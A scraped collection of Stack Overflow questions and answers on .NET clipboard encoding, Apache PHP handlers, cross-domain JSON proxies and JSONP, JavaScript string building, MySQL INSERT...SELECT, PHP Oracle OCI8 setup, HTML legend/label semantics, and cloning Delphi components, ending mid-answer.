Has anyone noticed that if you retrieve HTML from the clipboard, it gets the encoding wrong and injects weird characters? For example, executing a command like this: ``` string s = (string) Clipboard.GetData(DataFormats.Html) ``` Results in stuff like: ``` <FONT size=-2>  <A href="/advanced_search?hl=en">Advanced Search</A><BR>  <A href="/preferences?hl=en">Preferences</A><BR>  <A href="/language_tools?hl=en">Language Tools</A></FONT> ``` *Not sure how MarkDown will process this, but there are weird characters in the resulting markup above.* It appears that the bug is with the .NET framework. What do you think is the best way to get correctly-encoded HTML from the clipboard?
In this case it is not so visible as it was in my case. Today I tried to copy data from clipboard but there were a few unicode characters. The data I got were as if I would read a UTF-8 encoded file in Windows-1250 encoding *(local encoding in my Windows)*. It seems you case is the same. If you save the html data *(remember to put non-breakable space = 0xa0 after the  character, not a standard space)* in Windows-1252 *(or Windows-1250; both works)*. Then open this file as a UTF-8 file and you will see what there should be. For my other project I made a function that fix data with corrupted encoding. In this case simple conversion should be sufficient: ``` byte[] data = Encoding.Default.GetBytes(text); text = Encoding.UTF8.GetString(data); ``` My original function is a little bit more complex and contains tests to ensure that data are not corrupted... ``` public static bool FixMisencodedUTF8(ref string text, Encoding encoding) { if (string.IsNullOrEmpty(text)) return false; byte[] data = encoding.GetBytes(text); // there should not be any character outside source encoding string newStr = encoding.GetString(data); if (!string.Equals(text, newStr)) // if there is any character "outside" return false; // leave, the input is in a different encoding if (IsValidUtf8(data) == 0) // test data to be valid UTF-8 byte sequence return false; // if not, can not convert to UTF-8 text = Encoding.UTF8.GetString(data); return true; } ``` I know that this is not the best *(or correct solution)* but I did not found any other way how to fix the input... **EDIT**: *(July 20, 2017)* It Seems like the Microsoft already found this error and now it works correctly. I'm not sure whether the problem is in some frameworks, but I know for sure, that now the application uses a different framework as in time, when I wrote the answer. *(Now it is 4.5; the previous version was 2.0)* *(Now all my code fails in parsing the data. There is another problem to determine the correct behaviour for application with fix already aplied and without fix.)*
238,918
<p>I have been having some problems trying to get my PHP running. When I try and run any scripts they appear in the source and do not run properly. This is the htaccess file:</p> <pre><code># Use PHP5 as default AddHandler application/x-httpd-php5 .php AddType x-mapp-php5 .php AddHandler x-mapp-php5 .php </code></pre> <p>Could this be the error?</p>
[ { "answer_id": 238922, "author": "Gabriel Ross", "author_id": 10751, "author_profile": "https://Stackoverflow.com/users/10751", "pm_score": 0, "selected": false, "text": "<p>is libphp5.so loaded?</p>\n\n<p>That AddHandler directive, I believe, should be:</p>\n\n<p>AddType application/x-httpd-php .php</p>\n\n<p>I'm not sure what the x-mapp-php5 directives are for though...</p>\n" }, { "answer_id": 238926, "author": "noob source", "author_id": 29838, "author_profile": "https://Stackoverflow.com/users/29838", "pm_score": 3, "selected": true, "text": "<p>Change <code>AddHandler application/x-httpd-php5 .php</code> to <code>AddHandler application/x-httpd-php .php</code> and ensure the file you're hitting has the .php extension. Also comment out those other two <code>AddType</code>/<code>AddHandler</code> lines (the <code>x-mapp-*</code> ones). What someone else said about making sure the module is loaded or compiled in is worth checking too.</p>\n\n<p>To check if the module is installed, you should have somewhere in your Apache configuration a line something like this (path may differ in your environment):</p>\n\n<p><code>LoadModule php5_module /usr/lib/apache2/modules/libphp5.so</code></p>\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/238918", "https://Stackoverflow.com", "https://Stackoverflow.com/users/31677/" ]
I have been having some problems trying to get my PHP running. When I try and run any scripts they appear in the source and do not run properly. This is the htaccess file: ``` # Use PHP5 as default AddHandler application/x-httpd-php5 .php AddType x-mapp-php5 .php AddHandler x-mapp-php5 .php ``` Could this be the error?
Change `AddHandler application/x-httpd-php5 .php` to `AddHandler application/x-httpd-php .php` and ensure the file you're hitting has the .php extension. Also comment out those other two `AddType`/`AddHandler` lines (the `x-mapp-*` ones). What someone else said about making sure the module is loaded or compiled in is worth checking too. To check if the module is installed, you should have somewhere in your Apache configuration a line something like this (path may differ in your environment): `LoadModule php5_module /usr/lib/apache2/modules/libphp5.so`
238,931
<p>I am developing some client side Javascript that is using some JSON web services on a different domain. I have read that some browsers do not allow cross-domain scripting and that I should create a proxy on my local server to serve the data.</p> <p>Can someone please point me to a simple example of how to do this in ASP.Net?</p>
[ { "answer_id": 238940, "author": "roenving", "author_id": 23142, "author_profile": "https://Stackoverflow.com/users/23142", "pm_score": 0, "selected": false, "text": "<p><strong>No</strong> browsers allow cross-domain scripting, and although w3c has left space for this in its recommendation on the xmlHTTPRequest-object, we still have to wait for some time to see it implemented in a secure way ...</p>\n" }, { "answer_id": 238953, "author": "eyelidlessness", "author_id": 17964, "author_profile": "https://Stackoverflow.com/users/17964", "pm_score": 0, "selected": false, "text": "<p>I'll give a pseudocode version for people seeking a general answer to the question.</p>\n\n<pre><code>SomeAjaxAbstraction.Request('proxyScript', {\n parameters: {\n address: 'http://somewhere.com/someapi?some=query'\n }\n});\n</code></pre>\n\n<p>Then in proxyScript:</p>\n\n<pre><code>var address = GET['address'];\nif(ValidUrl(address) &amp;&amp; ConnectionAllowed(address)) {\n // Validating address and whitelisting services is an exercise to the reader\n var response = SomeHttpGetFunction(address);\n echo XssAndBadStuffFilter(response);\n} else {\n // Handle errors\n}\n</code></pre>\n" }, { "answer_id": 239068, "author": "Matt Ephraim", "author_id": 22291, "author_profile": "https://Stackoverflow.com/users/22291", "pm_score": 3, "selected": true, "text": "<p>You may be able to avoid a proxy by using a technique like <a href=\"http://remysharp.com/2007/10/08/what-is-jsonp/\" rel=\"nofollow noreferrer\">JSONP</a>. Assuming the web service you're talking to supports JSONP (for example, Flickr or Twitter both offer a JSONP API) or you have control over the data the web service sends back, you can send JSON data between domains using a library that features JSONP.</p>\n\n<p>For example, in jQuery, you can make a remote JSON call:</p>\n\n<pre><code>jQuery.getJSON(\"http://www.someothersite.com/webservice?callback=?\", function(result)\n{\n doStuffWithResult(result);\n});\n</code></pre>\n\n<p>Because the call is to another domain, jQuery automatically uses some trickery to make a cross domain call. jQuery will automatically replace the ? in the url with a callback function name that the web service can use to format the JSON data being returned. </p>\n\n<p>If you're the one controlling the web service, you can handle the JSONP request by getting the request parameter called \"callback\" which will be set to the callback function name you need to use. The callback function takes one parameter, which is the JSON data you want to send back. So, if the callback parameter is set to \"jsonp2342342\", you'll want the web service to respond like this:</p>\n\n<pre><code>jsonp2342342({key: value, key2: value});\n</code></pre>\n\n<p>If the web service you're using already supports JSONP, you won't have to worry about doing the formatting yourself. </p>\n" }, { "answer_id": 239081, "author": "neonski", "author_id": 17112, "author_profile": "https://Stackoverflow.com/users/17112", "pm_score": 3, "selected": false, "text": "<p>Generally speaking, the proxy runs on your web server - most likely IIS in your case - and 'relays' the requests to another server on a different domain.</p>\n\n<p>Here's an example of one implemented in C# .NET</p>\n\n<p><a href=\"https://www.codeproject.com/articles/25218/fast-scalable-streaming-ajax-proxy-continuously-de\" rel=\"nofollow noreferrer\">Fast, Streaming AJAX proxy</a></p>\n" }, { "answer_id": 3199434, "author": "chapmanjw", "author_id": 385835, "author_profile": "https://Stackoverflow.com/users/385835", "pm_score": 2, "selected": false, "text": "<p>You can write a simple .NET page to retrieve the remote page and display it on your site:</p>\n\n<pre><code>using System;\nusing System.Collections.Generic;\nusing System.Linq;\nusing System.Web;\nusing System.Web.UI;\nusing System.Web.UI.WebControls;\nusing System.Net;\nusing System.IO;\n\nnamespace Proxy\n{\n public partial class _Proxy : System.Web.UI.Page\n {\n protected void Page_Load(object sender, EventArgs e)\n {\n string proxyURL = string.Empty;\n try\n {\n proxyURL = HttpUtility.UrlDecode(Request.QueryString[\"u\"].ToString());\n }\n catch { }\n\n if (proxyURL != string.Empty)\n {\n HttpWebRequest request = (HttpWebRequest)WebRequest.Create(proxyURL);\n request.Method = \"GET\";\n HttpWebResponse response = (HttpWebResponse)request.GetResponse();\n\n if (response.StatusCode.ToString().ToLower() == \"ok\")\n {\n string contentType = response.ContentType;\n Stream content = response.GetResponseStream();\n StreamReader contentReader = new StreamReader(content);\n Response.ContentType = contentType;\n Response.Write(contentReader.ReadToEnd());\n }\n }\n }\n }\n}\n</code></pre>\n\n<p>See my post about it: <a href=\"http://www.johnchapman.name/aspnet-proxy-page-cross-domain-requests-from-ajax-and-javascript/\" rel=\"nofollow noreferrer\">http://www.johnchapman.name/aspnet-proxy-page-cross-domain-requests-from-ajax-and-javascript/</a></p>\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/238931", "https://Stackoverflow.com", "https://Stackoverflow.com/users/10589/" ]
I am developing some client side Javascript that is using some JSON web services on a different domain. I have read that some browsers do not allow cross-domain scripting and that I should create a proxy on my local server to serve the data. Can someone please point me to a simple example of how to do this in ASP.Net?
You may be able to avoid a proxy by using a technique like [JSONP](http://remysharp.com/2007/10/08/what-is-jsonp/). Assuming the web service you're talking to supports JSONP (for example, Flickr or Twitter both offer a JSONP API) or you have control over the data the web service sends back, you can send JSON data between domains using a library that features JSONP. For example, in jQuery, you can make a remote JSON call: ``` jQuery.getJSON("http://www.someothersite.com/webservice?callback=?", function(result) { doStuffWithResult(result); }); ``` Because the call is to another domain, jQuery automatically uses some trickery to make a cross domain call. jQuery will automatically replace the ? in the url with a callback function name that the web service can use to format the JSON data being returned. If you're the one controlling the web service, you can handle the JSONP request by getting the request parameter called "callback" which will be set to the callback function name you need to use. The callback function takes one parameter, which is the JSON data you want to send back. So, if the callback parameter is set to "jsonp2342342", you'll want the web service to respond like this: ``` jsonp2342342({key: value, key2: value}); ``` If the web service you're using already supports JSONP, you won't have to worry about doing the formatting yourself.
238,941
<p><strong>UPDATE:</strong> Thanks to everyone for the responses. I didn't realize document.write() was deprecated. Add a another notch to the learning column. I'll be taking the advice posted here, but leave the original question so that the answers given make sense in context of the original question.</p> <hr> <p>I'm in the process of coding some rather long write() arguments and am trying to decide which of the following examples would be the best to follow, considering syntax, readability and performance. Should I</p> <p>a. Keep them all on one line:</p> <pre><code>&lt;script&gt; var someVariable = "(&lt;a href=\"http://www.example.com\"&gt;Link&lt;\/a&gt;)"; document.write("&lt;p&gt;Supergroovalisticprosifunkstication and Supercalifragilisticexpialidocious are very long words.&lt;/p&gt;" + someVariable + "&lt;p&gt;Dociousaliexpisticfragilicalirepus is Supercalifragilisticexpialidocious spelled backwards.&lt;/p&gt;" + someVariable); &lt;/script&gt; </code></pre> <p>b. Break them up by adding line breaks for somewhat improved readability:</p> <pre><code>&lt;script&gt; var someVariable = "(&lt;a href=\"http://www.example.com\"&gt;Link&lt;\/a&gt;)"; document.write("&lt;p&gt;Supergroovalisticprosifunkstication and Supercalifragilisticexpialidocious are very long words.&lt;/p&gt;" + someVariable + "&lt;p&gt;Dociousaliexpisticfragilicalirepus is Supercalifragilisticexpialidocious spelled backwards.&lt;/p&gt;" + someVariable); &lt;/script&gt; </code></pre> <p>c. Break them up by using multiple variables:</p> <pre><code>&lt;script&gt; var someVariable = "(&lt;a href=\"http://www.example.com\"&gt;Link&lt;\/a&gt;)"; var partOne = "&lt;p&gt;Supergroovalisticprosifunkstication and Supercalifragilisticexpialidocious are very long words.&lt;/p&gt;"; var partTwo = "&lt;p&gt;Dociousaliexpisticfragilicalirepus is Supercalifragilisticexpialidocious spelled backwards.&lt;/p&gt;"; document.write(partOne + someVariable + partTwo + someVariable); &lt;/script&gt; </code></pre> <p>Thanks in advance.</p>
[ { "answer_id": 238957, "author": "eyelidlessness", "author_id": 17964, "author_profile": "https://Stackoverflow.com/users/17964", "pm_score": 3, "selected": true, "text": "<p>My gut reaction is: <strong>don't do that</strong>. (Your example is poor, you should not be writing big chunks of content in your behavior layer.)</p>\n\n<p>Whenever you <em>have to</em> do this, either concat:</p>\n\n<pre><code>var longVar = 'asdfasdf asdf asdf asdfasdf asdfasdf asdf asdfasdf' +\n ' fasdf s9d0af asdf asdf0s,dv z-xcfva-sdfmwaert ' +\n 'qersdfasdfasdfasdfasdf';\ndocument.write(longVar);\n</code></pre>\n\n<p>Or if it gets really long, performance may benefit by using joining an array:</p>\n\n<pre><code>var longVar = [\n 'asdfasdf asdf asdf asdfasdf asdfasdf asdf asdfasdf',\n ' fasdf s9d0af asdf asdf0s,dv z-xcfva-sdfmwaert ',\n 'qersdfasdfasdfasdfasdf'\n].join('');\ndocument.write(longVar);\n</code></pre>\n" }, { "answer_id": 238966, "author": "Osseta", "author_id": 30584, "author_profile": "https://Stackoverflow.com/users/30584", "pm_score": 0, "selected": false, "text": "<p>I would write it however is going to be easiest to read and maintain. Then test the performance. If it is too slow try incrementally improving the algorithm until the speed is acceptable.</p>\n\n<p>So ideas to improve the performance:\n - ensure script is minified.\n - do as much preprocessing on the server and serve the \"processed\" script.</p>\n\n<p>By using a minification tool (e.g. jsMin) you won't suffer any issues by having white space and line breaks for readability.</p>\n" }, { "answer_id": 239022, "author": "roenving", "author_id": 23142, "author_profile": "https://Stackoverflow.com/users/23142", "pm_score": 0, "selected": false, "text": "<p>-- and it is a bad example to use <code>document.write()</code> as it belongs to the 90ties and was deprecated with the introduction of HTML4 in 1998 ...</p>\n\n<p>If you got anything serverside it is better to handle the code-generation there ...</p>\n\n<p>On the issue of concatenating strings I agree with eyelidlessness !-)</p>\n\n<p><strong>EDIT (29/10)</strong></p>\n\n<p>As a comment to a comment (I need the code-notation)</p>\n\n<pre><code>&lt;script type=\"text/javascript\"&gt;\n window.onload = function(){\n var newD = document.createElement(\"div\");\n newD.appendChild(document.createTextNode(\"Hello World\"));\n document.getElementsByTagName(\"body\")[0].appendChild(newD);\n }\n&lt;/script&gt;\n</code></pre>\n\n<p>This way anything is inserted in a document ...</p>\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/238941", "https://Stackoverflow.com", "https://Stackoverflow.com/users/-1/" ]
**UPDATE:** Thanks to everyone for the responses. I didn't realize document.write() was deprecated. Add a another notch to the learning column. I'll be taking the advice posted here, but leave the original question so that the answers given make sense in context of the original question. --- I'm in the process of coding some rather long write() arguments and am trying to decide which of the following examples would be the best to follow, considering syntax, readability and performance. Should I a. Keep them all on one line: ``` <script> var someVariable = "(<a href=\"http://www.example.com\">Link<\/a>)"; document.write("<p>Supergroovalisticprosifunkstication and Supercalifragilisticexpialidocious are very long words.</p>" + someVariable + "<p>Dociousaliexpisticfragilicalirepus is Supercalifragilisticexpialidocious spelled backwards.</p>" + someVariable); </script> ``` b. Break them up by adding line breaks for somewhat improved readability: ``` <script> var someVariable = "(<a href=\"http://www.example.com\">Link<\/a>)"; document.write("<p>Supergroovalisticprosifunkstication and Supercalifragilisticexpialidocious are very long words.</p>" + someVariable + "<p>Dociousaliexpisticfragilicalirepus is Supercalifragilisticexpialidocious spelled backwards.</p>" + someVariable); </script> ``` c. Break them up by using multiple variables: ``` <script> var someVariable = "(<a href=\"http://www.example.com\">Link<\/a>)"; var partOne = "<p>Supergroovalisticprosifunkstication and Supercalifragilisticexpialidocious are very long words.</p>"; var partTwo = "<p>Dociousaliexpisticfragilicalirepus is Supercalifragilisticexpialidocious spelled backwards.</p>"; document.write(partOne + someVariable + partTwo + someVariable); </script> ``` Thanks in advance.
My gut reaction is: **don't do that**. (Your example is poor, you should not be writing big chunks of content in your behavior layer.) Whenever you *have to* do this, either concat: ``` var longVar = 'asdfasdf asdf asdf asdfasdf asdfasdf asdf asdfasdf' + ' fasdf s9d0af asdf asdf0s,dv z-xcfva-sdfmwaert ' + 'qersdfasdfasdfasdfasdf'; document.write(longVar); ``` Or if it gets really long, performance may benefit by using joining an array: ``` var longVar = [ 'asdfasdf asdf asdf asdfasdf asdfasdf asdf asdfasdf', ' fasdf s9d0af asdf asdf0s,dv z-xcfva-sdfmwaert ', 'qersdfasdfasdfasdfasdf' ].join(''); document.write(longVar); ```
238,949
<p>If this is possible, please provide a sample query or two so I can see how it would work. Both tables will be in the same database.</p> <p>Thanks!</p>
[ { "answer_id": 238952, "author": "Andrew", "author_id": 826, "author_profile": "https://Stackoverflow.com/users/826", "pm_score": 5, "selected": true, "text": "<p>Pseudo code:</p>\n\n<pre><code>insert into &lt;target-table&gt;\n( &lt;column-list&gt; )\nselect &lt;columns&gt;\n from &lt;source-table&gt;\n</code></pre>\n" }, { "answer_id": 239003, "author": "Rob", "author_id": 3542, "author_profile": "https://Stackoverflow.com/users/3542", "pm_score": 2, "selected": false, "text": "<p><code>INSERT...SELECT</code> is the answer; see <a href=\"http://dev.mysql.com/doc/refman/5.1/en/insert-select.html\" rel=\"nofollow noreferrer\">http://dev.mysql.com/doc/refman/5.1/en/insert-select.html</a>.</p>\n\n<p>For example:</p>\n\n<pre><code>INSERT INTO names\nSELECT last_name, first_name\nFROM people\n</code></pre>\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/238949", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1572436/" ]
If this is possible, please provide a sample query or two so I can see how it would work. Both tables will be in the same database. Thanks!
Pseudo code: ``` insert into <target-table> ( <column-list> ) select <columns> from <source-table> ```
238,956
<p>On the latest Ubuntu, I have a functioning PHP 5.2.4 installation. I want to use a remote Oracle server from PHP using OCI.</p> <p>I've downloaded the <em>"Instant Client Package - Basic Lite"</em> (<a href="http://www.oracle.com/technology/software/tech/oci/instantclient/htdocs/linuxsoft.html" rel="nofollow noreferrer">Link</a>). I've unzipped the package containing the OCI libraries to a dir but I have no idea how to tell PHP that I want to use these libraries. Predictably, I get</p> <blockquote> <p>Fatal error: Call to undefined function oci_connect() in...</p> </blockquote> <p>when running this code:</p> <pre><code>&lt;?php $conn = oci_connect('hr', 'hrpw', 'someremotehost'); ?&gt; </code></pre> <p>I don't want to recompile PHP with Oracle support. What's the fastest way to wire up PHP so that I can use Oracle? Do I need any other libaries, like the Oracle client if I want to connect to a remote Oracle instance?</p>
[ { "answer_id": 238979, "author": "Till", "author_id": 2859, "author_profile": "https://Stackoverflow.com/users/2859", "pm_score": 2, "selected": false, "text": "<p>You need the PHP extension, try the following on your Ubuntu:</p>\n\n<pre><code>(sudo) pecl install oci8\n</code></pre>\n\n<p>Make sure your php.ini's (there should be one for your Apache and one for cli php) contain <code>extension=oci8.so</code> afterwards. Finally, you have to restart Apache and can confirm via <code>&lt;?php phpinfo(); ?&gt;</code> that the extension is loaded.</p>\n\n<p><strong>UPDATE:</strong></p>\n\n<p>Enter something like this when it asks you for ORACLE_HOME:</p>\n\n<blockquote>\n <p>instantclient,/opt/oracle/instantclient</p>\n</blockquote>\n\n<p>I think setting the environment variable would be another solution. /opt/oracle... is the path I put my instantclient in. I followed some tutorial a while ago, unfortunately I can't find it anmore.</p>\n\n<p>HTH</p>\n" }, { "answer_id": 250677, "author": "m0j0", "author_id": 31319, "author_profile": "https://Stackoverflow.com/users/31319", "pm_score": 0, "selected": false, "text": "<p>I think you'll need to make sure that the $ORACLE_HOME/lib32 is in your $LD_LIBRARY_PATH, or else add that directory to the /etc/ld.so.conf file.</p>\n" }, { "answer_id": 256960, "author": "Sajee", "author_id": 3401, "author_profile": "https://Stackoverflow.com/users/3401", "pm_score": 0, "selected": false, "text": "<p>In the end, I downloaded Zend Core for Oracle and that worked.\n<a href=\"http://www.zend.com/en/products/core/for-oracle\" rel=\"nofollow noreferrer\">http://www.zend.com/en/products/core/for-oracle</a></p>\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/238956", "https://Stackoverflow.com", "https://Stackoverflow.com/users/3401/" ]
On the latest Ubuntu, I have a functioning PHP 5.2.4 installation. I want to use a remote Oracle server from PHP using OCI. I've downloaded the *"Instant Client Package - Basic Lite"* ([Link](http://www.oracle.com/technology/software/tech/oci/instantclient/htdocs/linuxsoft.html)). I've unzipped the package containing the OCI libraries to a dir but I have no idea how to tell PHP that I want to use these libraries. Predictably, I get > > Fatal error: Call to undefined function oci\_connect() in... > > > when running this code: ``` <?php $conn = oci_connect('hr', 'hrpw', 'someremotehost'); ?> ``` I don't want to recompile PHP with Oracle support. What's the fastest way to wire up PHP so that I can use Oracle? Do I need any other libaries, like the Oracle client if I want to connect to a remote Oracle instance?
You need the PHP extension, try the following on your Ubuntu: ``` (sudo) pecl install oci8 ``` Make sure your php.ini's (there should be one for your Apache and one for cli php) contain `extension=oci8.so` afterwards. Finally, you have to restart Apache and can confirm via `<?php phpinfo(); ?>` that the extension is loaded. **UPDATE:** Enter something like this when it asks you for ORACLE\_HOME: > > instantclient,/opt/oracle/instantclient > > > I think setting the environment variable would be another solution. /opt/oracle... is the path I put my instantclient in. I followed some tutorial a while ago, unfortunately I can't find it anmore. HTH
238,996
<p>I've never had a reason to put a label element inside of a legend element (never really thought about it or seen it done). But with the design I'm implementing, it's tempting to do so.</p> <p>Here's what I'm tempted to do:</p> <pre><code>&lt;fieldset&gt; &lt;legend&gt;&lt;label for="formInfo"&gt;I would like information on&lt;/label&gt;&lt;/legend&gt; &lt;select id="formInfo"&gt; &lt;option value="Cats"&gt;Cats&lt;/option&gt; &lt;option value="Dogs"&gt;Dogs&lt;/option&gt; &lt;option value="Lolz"&gt;Lolz&lt;/option&gt; &lt;/select&gt; &lt;/fieldset&gt; </code></pre> <p>It works as expected (clicking the label focuses the corresponding input) in Firefox3, Safari, Opera, and IE6/7 and it passes validation, but I'm just wondering if there are any known reasons (accessibility? semantics? browser issues) why this shouldn't be done</p>
[ { "answer_id": 239011, "author": "nickf", "author_id": 9021, "author_profile": "https://Stackoverflow.com/users/9021", "pm_score": 0, "selected": false, "text": "<p>well, the label element itself seems fine - it's the description of the \"formInfo\" element, so that's no worries. Semantically, however, what's this saying about the <code>legend</code> element? It's supposed to be a caption for the entire fieldset....</p>\n" }, { "answer_id": 239190, "author": "joelhardi", "author_id": 11438, "author_profile": "https://Stackoverflow.com/users/11438", "pm_score": 5, "selected": true, "text": "<p>Where is your <code>&lt;/fieldset&gt;</code>?</p>\n\n<p>Semantically, <a href=\"http://www.w3.org/TR/html401/interact/forms.html#h-17.10\" rel=\"noreferrer\"><code>legend</code> describes a <code>fieldset</code></a>, just as <code>label</code> describes a single field.</p>\n\n<p>Fieldsets are supposed to be used to group together semantically related fields (for instance, an \"address\" fieldset might have input fields for street, city and country).</p>\n\n<p>Assuming you have more than one field in the fieldset, then doing what you suggest doesn't semantically make sense -- you need to create separate legend text that describes the fieldset, then a label for each field.</p>\n\n<p>If you only have one field, then you don't need fieldset or legend at all.</p>\n\n<p>So, basically, you shouldn't do what you're doing.</p>\n\n<p>If you're doing it to have extra elements to attach CSS rules or Javascript events to, you're better off using generic elements like <code>div</code> and <code>span</code> that won't confuse text-to-speech and other non-visual user agents.</p>\n\n<p>i.e., putting in a <code>div</code> or <code>span</code> is effectively neutral in terms of accessibility/semantics (it implies nothing) versus misusing a semantic element (even if only slightly, as in this case), which is potentially misleading. Imagine even the <em>best-case</em> scenario for your layout in a text-to-speech browser: The text is read aloud twice, once as legend and once as label -- why would someone want the phrase \"I would like information on\" read aloud twice to them? Especially as it only makes sense in the context of the choices in the <code>select</code> control.</p>\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/238996", "https://Stackoverflow.com", "https://Stackoverflow.com/users/17252/" ]
I've never had a reason to put a label element inside of a legend element (never really thought about it or seen it done). But with the design I'm implementing, it's tempting to do so. Here's what I'm tempted to do: ``` <fieldset> <legend><label for="formInfo">I would like information on</label></legend> <select id="formInfo"> <option value="Cats">Cats</option> <option value="Dogs">Dogs</option> <option value="Lolz">Lolz</option> </select> </fieldset> ``` It works as expected (clicking the label focuses the corresponding input) in Firefox3, Safari, Opera, and IE6/7 and it passes validation, but I'm just wondering if there are any known reasons (accessibility? semantics? browser issues) why this shouldn't be done
Where is your `</fieldset>`? Semantically, [`legend` describes a `fieldset`](http://www.w3.org/TR/html401/interact/forms.html#h-17.10), just as `label` describes a single field. Fieldsets are supposed to be used to group together semantically related fields (for instance, an "address" fieldset might have input fields for street, city and country). Assuming you have more than one field in the fieldset, then doing what you suggest doesn't semantically make sense -- you need to create separate legend text that describes the fieldset, then a label for each field. If you only have one field, then you don't need fieldset or legend at all. So, basically, you shouldn't do what you're doing. If you're doing it to have extra elements to attach CSS rules or Javascript events to, you're better off using generic elements like `div` and `span` that won't confuse text-to-speech and other non-visual user agents. i.e., putting in a `div` or `span` is effectively neutral in terms of accessibility/semantics (it implies nothing) versus misusing a semantic element (even if only slightly, as in this case), which is potentially misleading. Imagine even the *best-case* scenario for your layout in a text-to-speech browser: The text is read aloud twice, once as legend and once as label -- why would someone want the phrase "I would like information on" read aloud twice to them? Especially as it only makes sense in the context of the choices in the `select` control.
239,002
<p>Is there a simple way to duplicate all child components under parent component, including their published properties?</p> <p>For example:</p> <ul> <li>TPanel <ul> <li>TLabel</li> <li>TEdit</li> <li>TListView</li> <li>TSpecialClassX</li> </ul></li> </ul> <p>Of course the most important factor, it should duplicate any new component which I drop on the TPanel without modifying the code under normal circumstances.</p> <p>I've heard of the RTTI, but never used it actually. Any ideas?</p>
[ { "answer_id": 239056, "author": "Kluge", "author_id": 8752, "author_profile": "https://Stackoverflow.com/users/8752", "pm_score": 0, "selected": false, "text": "<p>It's actually fairly easy to duplicate existing components at runtime. The difficult part is to copy all of their published properties to the new (duplicated) objects.</p>\n\n<p>I'm sorry, but my code example is in C++Builder. The VCL is the same, just a different language. It shouldn't be too much trouble to translate it Delphi:</p>\n\n<pre><code>for (i = 0; i &lt; ComponentCount; ++i) {\n TControl *Comp = dynamic_cast&lt;TControl *&gt;(Components[i]);\n if (Comp) {\n if (Comp-&gt;ClassNameIs(\"TLabel\")) {\n TLabel *OldLabel = dynamic_cast&lt;TDBEdit *&gt;(Components[i]);\n TLabel *NewLabel = new TLabel(this); // new label\n // copy properties from old to new\n NewLabel-&gt;Top = OldLabel-&gt;Top;\n NewLabel-&gt;Left = OldLabel-&gt;Left;\n NewLabel-&gt;Caption = Oldlabel-&gt;Caption\n // and so on...\n } else if (Comp-&gt;ClassNameIs(\"TPanel\")) {\n // copy a TPanel object\n }\n</code></pre>\n\n<p>Maybe somebody has a better method of copying all of the published properties of the old control to the new one.</p>\n" }, { "answer_id": 239148, "author": "Christopher Chase", "author_id": 11016, "author_profile": "https://Stackoverflow.com/users/11016", "pm_score": 4, "selected": true, "text": "<p>have a read of this page</p>\n\n<p><a href=\"http://www.blong.com/Conferences/BorConUK98/DelphiRTTI/CB140.htm\" rel=\"nofollow noreferrer\"><strong>Run-Time Type Information In Delphi - Can It Do Anything For You?</strong></a></p>\n\n<p>Noting the section <a href=\"http://www.blong.com/Conferences/BorConUK98/DelphiRTTI/CB140.htm#CopyingPropertiesFromAComponentToAnother\" rel=\"nofollow noreferrer\">Copying Properties From A Component To Another</a></p>\n\n<p>which has a unit, RTTIUnit with a Procedure, which seems to do part of what you want but i don't think it will copy any child components with out extra code.\n <em>(i think its ok to paste it here...)</em></p>\n\n<pre><code>procedure CopyObject(ObjFrom, ObjTo: TObject); \n var\nPropInfos: PPropList;\nPropInfo: PPropInfo;\nCount, Loop: Integer;\nOrdVal: Longint;\nStrVal: String;\nFloatVal: Extended; \nMethodVal: TMethod;\nbegin\n//{ Iterate thru all published fields and properties of source }\n//{ copying them to target }\n\n//{ Find out how many properties we'll be considering }\nCount := GetPropList(ObjFrom.ClassInfo, tkAny, nil);\n//{ Allocate memory to hold their RTTI data }\nGetMem(PropInfos, Count * SizeOf(PPropInfo));\ntry\n//{ Get hold of the property list in our new buffer }\nGetPropList(ObjFrom.ClassInfo, tkAny, PropInfos);\n//{ Loop through all the selected properties }\nfor Loop := 0 to Count - 1 do\nbegin\n PropInfo := GetPropInfo(ObjTo.ClassInfo, PropInfos^[Loop]^.Name);\n // { Check the general type of the property }\n //{ and read/write it in an appropriate way }\n case PropInfos^[Loop]^.PropType^.Kind of\n tkInteger, tkChar, tkEnumeration,\n tkSet, tkClass{$ifdef Win32}, tkWChar{$endif}:\n begin\n OrdVal := GetOrdProp(ObjFrom, PropInfos^[Loop]);\n if Assigned(PropInfo) then\n SetOrdProp(ObjTo, PropInfo, OrdVal);\n end;\n tkFloat:\n begin\n FloatVal := GetFloatProp(ObjFrom, PropInfos^[Loop]);\n if Assigned(PropInfo) then\n SetFloatProp(ObjTo, PropInfo, FloatVal);\n end;\n {$ifndef DelphiLessThan3}\n tkWString,\n {$endif}\n {$ifdef Win32}\n tkLString,\n {$endif}\n tkString:\n begin\n { Avoid copying 'Name' - components must have unique names }\n if UpperCase(PropInfos^[Loop]^.Name) = 'NAME' then\n Continue;\n StrVal := GetStrProp(ObjFrom, PropInfos^[Loop]);\n if Assigned(PropInfo) then\n SetStrProp(ObjTo, PropInfo, StrVal);\n end;\n tkMethod:\n begin\n MethodVal := GetMethodProp(ObjFrom, PropInfos^[Loop]);\n if Assigned(PropInfo) then\n SetMethodProp(ObjTo, PropInfo, MethodVal);\n end\n end\nend\nfinally\n FreeMem(PropInfos, Count * SizeOf(PPropInfo));\nend;\nend;\n</code></pre>\n" }, { "answer_id": 239321, "author": "Francesca", "author_id": 9842, "author_profile": "https://Stackoverflow.com/users/9842", "pm_score": 3, "selected": false, "text": "<p>You can propably use the <a href=\"https://stackoverflow.com/questions/120858/replace-visual-component-at-runtime-in-delphi-win32#122915\">CLoneProperties routine from the answer</a> to \"<a href=\"https://stackoverflow.com/questions/120858/replace-visual-component-at-runtime-in-delphi-win32\">Replace visual component at runtime</a>\", after you have created the dup components in a loop thru the parent's controls. </p>\n\n<p><strong>Update</strong>: some working code.... </p>\n\n<p>. I assume from your question that you want to duplicate the Controls that are contained in a WinControl (as a Parent is a TWinControl).<br>\n. As I did not know if you also wanted to hook the duplicated controls with the same Event Handlers as the originals, I made an option for that.<br>\n. And you may want to give a proper meaningful Name to the duplicated controls. </p>\n\n<pre><code>uses\n TypInfo;\n\nprocedure CloneProperties(const Source: TControl; const Dest: TControl);\nvar\n ms: TMemoryStream;\n OldName: string;\nbegin\n OldName := Source.Name;\n Source.Name := ''; // needed to avoid Name collision\n try\n ms := 